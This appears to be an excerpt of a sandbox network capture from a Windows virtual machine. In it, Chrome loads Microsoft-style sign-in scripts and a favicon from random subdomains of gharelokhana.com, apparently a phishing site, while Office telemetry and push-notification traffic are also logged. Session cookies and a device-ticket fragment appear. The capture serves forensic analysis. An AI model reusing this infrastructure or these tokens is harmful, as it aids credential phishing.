2024-12-04 15:15:37 UTC	552	OUT	GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:38 UTC	811	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:38 GMT Content-Type: application/x-javascript Content-Length: 4889 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 22 Oct 2020 20:43:21 GMT etag: 0x8D876CB1D67B929 x-ms-request-id: addd313f-b01e-000f-3f26-458a97000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151538Z-15b54885d96pp57jhC1FRAe3c0000000055000000000mq75 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:38 UTC	4889	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b5 5a 7b 73 db b6 96 ff 5f 9f 82 46 73 1d 32 a2 28 39 af b6 52 58 ad 1b 3b 5b df 6d e3 ac ed 4c 6f 57 52 3a b4 04 4a 4c 28 42 05 c1 d8 1e 4b df 7d 7f 07 00 45 52 56 da dc ee 6c 66 62 e1 79 70 de 0f 80 dd 27 07 4e e7 eb ff 39 97 57 c7 17 57 ce f9 1b e7 ea a7 b3 8b 13 e7 1d 7a bf 39 6f cf af ce 5e 9f 7e 3d 9c 56 eb 6a 91 e4 4e 9c a4 dc c1 ef 75 94 f3 99 23 32 47 48 27 c9 a6 42 ae 84 8c 14 cf 9d 25 fe ca 24 4a 9d 58 8a a5 a3 16 dc 59 49 f1 91 4f 55 ee a4 49 ae b0 e9 9a a7 e2 c6 71 01 4e ce 9c 77 91 54 77 ce d9 3b 2f 70 ae b0 56 c8 64 9e 64 d8 3d 15 ab 3b b4 17 ca c9 84 4a a6 dc 89 b2 99 86 96 a2 93 e5 dc 29 b2 19 97 ce cd 22 99 2e 9c 5f 92 a9 14 b9 88 95 23 f9 94 27 9f 71 48 5e 60 bc 79 84 ef 44 92 3b 39 57 4e 2c a4 5a 18 3c 02 Data Ascii: Z{s_Fs2(9RX;[mLoWR:JL(BK}ERVlfbyp'N9WWz9o^~=VjNu#2GH'B%$JXYIOUIqNwTw;/pVdd=;J)"._#'qH^`yD;9WN,Z<

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49781	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:38 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4e 6e 4f 72 36 4b 4d 6b 6f 45 61 56 58 5a 6a 5a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 35 64 37 30 62 30 32 32 66 32 66 35 39 33 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: NnOr6KMkoEaVXZjZ.1Context: c5d70b022f2f593a
2024-12-04 15:15:38 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-04 15:15:38 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4e 6e 4f 72 36 4b 4d 6b 6f 45 61 56 58 5a 6a 5a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 35 64 37 30 62 30 32 32 66 32 66 35 39 33 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 35 77 4f 39 68 76 62 45 4d 2b 69 53 66 45 2b 38 44 46 45 6f 61 6d 47 46 76 53 62 58 34 48 49 51 59 4b 35 45 4b 78 75 36 71 38 39 54 39 4f 4a 6e 46 63 44 4f 72 39 65 57 4d 58 41 64 56 37 4b 38 6a 69 4f 45 35 51 2f 38 52 49 4b 4a 69 65 49 72 4b 72 54 5a 4c 75 38 52 48 6d 6c 4b 50 63 2b 63 66 46 50 35 42 4f 44 44 46 6f 32 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: NnOr6KMkoEaVXZjZ.2Context: c5d70b022f2f593a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe5wO9hvbEM+iSfE+8DFEoamGFvSbX4HIQYK5EKxu6q89T9OJnFcDOr9eWMXAdV7K8jiOE5Q/8RIKJieIrKrTZLu8RHmlKPc+cfFP5BODDFo25
2024-12-04 15:15:38 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4e 6e 4f 72 36 4b 4d 6b 6f 45 61 56 58 5a 6a 5a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 35 64 37 30 62 30 32 32 66 32 66 35 39 33 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: NnOr6KMkoEaVXZjZ.3Context: c5d70b022f2f593a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-04 15:15:39 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-04 15:15:39 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 45 68 78 66 69 6d 34 69 58 30 61 76 6d 4d 77 44 6a 71 78 44 39 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Ehxfim4iX0avmMwDjqxD9Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49784	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:38 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:39 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 7eb0f396-d01e-0066-0ac6-45ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151539Z-1746fd949bdjrnwqhC1EWRpg2800000001cg00000000gtz0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:39 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49785	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:39 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 4ebe80de-801e-0047-51c8-457265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151539Z-1746fd949bdfg4slhC1EWR34t0000000017000000000fanu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49778	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:39 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:39 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 85a33a74-901e-005b-1ccd-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151539Z-1746fd949bdhk6hphC1EWRaw3c000000011000000000mn0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:40 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49786	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:39 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:40 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 00b51f18-a01e-000d-6fcc-45d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151540Z-1746fd949bdl6zq5hC1EWRf3ws000000013000000000894x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:40 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49787	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:40 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:40 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 46349be7-d01e-0017-71d1-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151540Z-1746fd949bdwt8wrhC1EWRu6rg00000001hg00000000bdr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49788	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:40 UTC	542	OUT	GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:41 UTC	805	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:40 GMT Content-Type: application/x-javascript Content-Length: 3921 Connection: close cache-control: public, max-age=31536000 last-modified: Tue, 28 Jun 2022 20:27:38 GMT etag: 0x8DA5944A4FF258E x-ms-request-id: 82965558-c01e-007c-6dd9-449a16000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151540Z-16c5c9558c6dnn9xhC1DUSk86w00000005zg000000002qa4 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:41 UTC	3921	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 5a 6b 73 e3 36 b2 fd 3e bf 82 46 b9 64 32 82 39 f2 66 93 dd 95 86 a3 f5 2b 3b ce f5 2b e3 c9 ce 56 c9 2a 17 45 42 12 c7 14 a0 80 a4 6d 5d 4b ff 7d 4f 03 24 45 c9 9e ca 24 f7 a6 32 36 89 47 a3 d1 38 7d ba d1 f4 ce b8 90 51 9e 28 e9 7a cf d5 a3 23 f0 a2 45 5e 68 e9 3e f9 a9 8a 42 6a f5 e7 5a e5 2a 52 e9 72 c9 98 e7 47 4a a2 dd 65 6f df 32 de 18 34 55 59 2e c3 99 58 2e b7 1a bd 55 2d 5e bb c2 7b 4e c6 f4 33 d7 8b e7 87 50 3b 3a 78 5b 77 bb fe f3 01 5f 79 b7 ee 5b 2e 03 ed 8b 27 11 b9 82 d6 cb 72 5d 44 b9 d2 7e ae 6e 72 9d c8 89 eb 79 3d ab a7 23 5b 2d e9 a7 42 4e f2 e9 fb 83 be 1c 1c 0c bb 8c ad b0 7e 34 a5 75 56 2b 3b 0e 6d f5 3a d2 15 5c 73 69 55 69 b5 b4 f7 2c 97 4b 57 04 02 f2 cf d5 a3 d0 c7 61 26 68 89 b1 d2 2e 29 99 07 Data Ascii: Zks6>Fd29f+;+VEBm]K}O$E$26G8}Q(z#E^h>BjZRrGJeo24UY.X.U-^{N3P;:x[w_y[.'r]D~nry=#[-BN~4uV+;m:\siUi,KWa&h.)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49789	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:40 UTC	791	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:41 UTC	764	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:40 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Sun, 18 Oct 2020 03:02:03 GMT etag: 0x8D8731230C851A6 x-ms-request-id: 7c4a7895-801e-0052-0bd0-44c801000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151540Z-15b54885d96kqd6bhC1FRAcz8g000000059g00000000p05r x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes
2024-12-04 15:15:41 UTC	2286	IN	Data Raw: 38 65 37 0d 0a 00 00 01 00 06 00 10 10 00 00 00 00 20 00 16 01 00 00 66 00 00 00 18 18 00 00 00 00 20 00 24 01 00 00 7c 01 00 00 20 20 00 00 00 00 20 00 35 01 00 00 a0 02 00 00 30 30 00 00 00 00 20 00 6a 01 00 00 d5 03 00 00 40 40 00 00 00 00 20 00 f3 01 00 00 3f 05 00 00 80 80 00 00 00 00 20 00 b5 01 00 00 32 07 00 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 dd 49 44 41 54 78 9c dd 92 31 4e 43 41 10 43 df cc 8e 44 40 b0 22 2d 65 6e c4 21 90 68 c3 15 38 40 ce c4 39 68 a8 11 22 e4 ff 00 05 93 35 4d 1a b2 bf 89 68 10 2e 2d 8d c7 b6 6c 9b eb 85 4c fc 80 50 d6 59 09 5e 6c 75 77 ff c8 95 d9 72 dc 28 cd 08 0e e0 87 c7 c7 c2 7f 77 fe 17 04 42 28 7b da 12 04 f2 26 01 46 02 a9 89 be a2 ce 4e ba 66 Data Ascii: 8e7 f $\| 500 j@@ ? 2PNGIHDRaIDATx1NCACD@"-en!h8@9h"5Mh.-lLPY^luwr(wB({&FNf
2024-12-04 15:15:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49791	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:40 UTC	759	OUT	GET /shared/1.0/content/js/asyncchunk/convergederror_customizationloader_7e45d168059bd2885d00.js HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
